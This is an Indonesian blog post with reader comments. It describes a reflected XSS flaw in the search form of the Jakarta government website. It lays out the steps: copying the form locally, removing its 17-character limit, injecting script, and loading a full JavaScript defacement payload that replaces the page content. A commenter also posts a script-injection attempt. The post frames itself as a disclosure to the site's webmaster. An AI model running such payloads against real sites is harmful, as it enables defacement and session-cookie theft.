Situs jakarta.go.id ada bug XSS

Friday, June 29th, 2007 8:35 pm

BugLagi browsing caari cari artikel tentang pemerintah. Eh ketemu Situs Resmi Pemerintah Propinsi DKI Jakarta trus langsung di redirect ke alamat: http://jakarta.go.id/v21/home/default.asp?lg=1

Nah, lagi asik browsing, coba search engine di situs itu. Bingung kok kata yang dicari dibatesin cuma bisa sampe 17 karakter. Agak aneh memang, biasanya mesin pencari gak membatasi kita mo cari berapa karakter.
Mesin cari yg bermasalah

Trus iseng-iseng masukin kata seperti ini:

[code lang="html4strict"]

tes

[/code]

Nah, yang terjadi:
Tampilan mesin cari

Loh, kok gitu?? knapa tag HTML bisa masuk?? /:) iseng-iseng, coba ah masukin script JavaScript, siapa tau situs ini rentan XSS

Nah, permasalahannya, karena cuma dibatesin 17 karakter, jadi mesin cari di web ini gak mungkin ditulisin script spt:

[code lang="javascript"][/code]

yang notabene lebih dari 17 karakter.

Karena saya (ngakunya) webmaster, masa seeh gak tau logikanya bikin web, jadi tinggal buat aja tampilan dengan mencontek situs ini. Maka seperti biasa saya View Source (( Cuma buat pengguna Mozilla Firefox. Klo gak kebuka, bisa CTR+U, atau pilih View Source ))

Ok, terus buat file HTML yang mirip dengan mesin cari di situs tsb, terus kita ilangin perintah maxlength=”17″, terus karena saya suka XHTML jadi kode yg gak ditutup jadi saya tutup :P + tambahin nama domain di bagian action:

[code lang="html4strict"]

action="http://jakarta.go.id/v21/cari/default.asp?act=list&lg=1">

[/code]

terus beri nama terserah. Klo saya beri nama dengan jakarta.html

Nah tampilannya jadi kayak ini:
Cari Buatan Sendiri

Nah, terus coba masukin script JavaScript spt ini di dalem form input yang sudah dibuat:

[code lang="javascript"][/code]

Dan yang terjadi??? :o :”> Bisa tembus XSS
XSS berhasil

Nah, klo gitu kita coba yang agak aneh-aneh ya, masa seeh udah tau ada bug XSS malah dibiarin gitu aja. Kita coba ‘agak-agak nakal‘ ya. Coba buat script JavaScript dengan kode seperti berikut:

[code lang="javascript"]
var title = "Tes tes XSS";
var bgcolor = "#000000";
var image_url = "http://farm3.static.flickr.com/2400/1850740005_0120d0218e.jpg";
var text = "Hasil Deface Ini Semata-mata Hanya Untuk Belajar! Bagi Webmaster, mohon benahi segera. Terima Kasih";
var font_color = "#FF0000";

deface(title, bgcolor, image_url, text, font_color);

function deface(pageTitle, bgColor, imageUrl, pageText, fontColor) {
document.title = pageTitle;
document.body.innerHTML = '';
document.bgColor = bgColor;
var overLay = document.createElement("div");
overLay.style.textAlign = 'center';
document.body.appendChild(overLay);
var txt = document.createElement("p");
txt.style.font = 'normal normal bold 36px Tahoma';
txt.style.color = fontColor;
txt.innerHTML = pageText;
overLay.appendChild(txt);

if (image_url != "") {
var newImg = document.createElement("img");
newImg.setAttribute("border", '0');
newImg.setAttribute("src", imageUrl);
overLay.appendChild(newImg);
}

var footer = document.createElement("p");
footer.style.font = 'italic normal normal 12px Tahoma';
footer.style.color = '#DDDDDD';
footer.innerHTML = title;
overLay.appendChild(footer);
}
[/code]

Terus, simpan dengan ekstensi .js (untuk nama terserah, tetapi ak pake nama xss.js)

Terus tinggal masukin alamat script tadi ke dalam form input yang telah dibuat tadi. Dengan script seperti ini:

[code lang="javascript"][/code]

Nah jadilah tampilan seperti ini:
Tampilan deface untuk belajar

Untuk kamu yang mo coba, ak sudah upload file untuk mencoba:

jakarta.html

Parahnya, situs ini juga gak bisa ngenalin metode $_POST dan $_GET pada metode REQUEST, jadi bisa diinject dengan membuat alamat URI seperti ini:

Tes XSS

Untuk semuanya, saya bukan bermaksud sombong, sok menjadi hacker, dan sebagainya. Saya cuma ingin Anda tau untuk kemajuan kita bersama. Untuk webmaster jakarta.go.id semoga bisa dapat cepat menutup bug ini. Berbahaya jika orang lain malah mengambil isi cookies yg ada di web tsb dengan XSS. Buat temen-temen yg blogger, klo ada yg kenal sama webmasternya coba hubungi :)] dia. Terima Kasih


suka dengan tulisan saya? silakan juga mem-follow twitter saya

67 Responses to Situs jakarta.go.id ada bug XSS

  1. imcw Singapore Mozilla Firefox Windows says:

    web saya jangan di hack ya…nggak ngerti ama yang beginian :)>-

  2. BARRY United States Mozilla Firefox Windows says:

    Ini penjelasan tentang hacking atau lagi interview minta kerjaan ke Jakarta.co.id? :d/

    Sebaiknya kirim info ini ke mereka saja, siapa tahu nanti justru ditawarin kerjaan disana.

  3. Wahyu Indonesia Mozilla Firefox Windows says:

    :d Berikutnya Situs kota palembang…. :-?

  4. rd Limosin Indonesia Mozilla Firefox Windows says:

    #43

    we… orang <abbr title="Lion Network International">LNI</abbr> dateng ke sini juga toh

    #45

    makasih

    #46

    sama-sama blajar Mas

    #47

    he he he… melukis di blog??

    #49

    Ntar, tulisan lg dipersiapkan

    #50

    duh, akl bukan hacker Dok, jadi gak mungkin sengaja nge-hack

    #51

    Blom ad niat bt kerja disana mas Barry, kyknya berat… mesti nge-rombak sistem dr awal

    #52

    weee… ak bukan hacker Yu… cm ntar dicari celah atw bug klo lg ad wkt… skrng sibuk…

  5. senja Indonesia Mozilla Firefox Windows says:

    ndak ngerti saya…..:((

  6. Fa Hong Kong Internet Explorer Windows says:

    :d

    nggak mudeng aku mas

    :d

  7. desty Indonesia Mozilla Firefox Windows says:

    :)

    Dy, gimana kabar limosin…

    oh y… masih suka kumpL2 kaGak_

    KaN ada Yg Udah NaN Jao DisaNa_

    GiMana Kabr Orang NaN Jau…

    :)

  8. bagus Indonesia Mozilla Firefox Windows says:

    :d

    aku mau coba tapi waktuQ ga banyak

    salam aja buat temen

    YAKUSA

  9. bagus Indonesia Mozilla Firefox Windows says:

    wei aku wong indonesia

    ko benderane Australia

    ganti dunk

    zzz:-?

  10. rd Limosin Indonesia Mozilla Firefox Windows says:

    #56

    baca aj tulisan ak di atas, pasti ngerti

    #57

    masih suka ngumpul2, malem minggu kmaren maen futsal bersama. Ak ad telp <abbr title="Global System for Mobile communications">GSM</abbr> sama <abbr title="Code division multiple access">CDMA</abbr> si "Orang nan Jauh di sana", klo mo, temuin ak b.

    #58, #59

    yah, sama2 sibuk ya…

    bendera dan negara berdasarkan nomer <abbr title="Internet Protocol">IP</abbr> pas kamu isi komen ini Gus, jadi klo kamu pake proxy australi, maka itu yg tertulis

  11. wah bagus nich…. cek bugnya pakai asuka hinoi…..
    Gua setuju banget:d/

  12. Test posting dari daerah luar nich:-w

  13. glaydenty Indonesia Mozilla Firefox Windows says:

    keren banget ajarin dunk. :n/:)

  14. BARU!!! http://www.jktlinks.com

    Menghubungkan semua badan usaha khusus di Jakarta.

    Gratis untuk mencatumkan link webside Saudara bulan ini.

    Badan usaha tidak mempunyai website???

    Kami dapat memberikan paket komplit dengan harga bagus.

    Hormat kami,

    Jeffrey & Feggy

    Managing Director

    Jakarta Links

    Webshop: http://webshop.jakartalinks.com

  15. cr7_aja Indonesia Mozilla Firefox Windows says:

    type="text/javascipt">aletrt("XSS BUG Ditemulkan bro…&quot;)

  16. cauza Indonesia Safari Unknow Os says:

    Referensi yang menarik. Bisa di coba nih….

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

close
sudahkah kamu ngaku hari ini??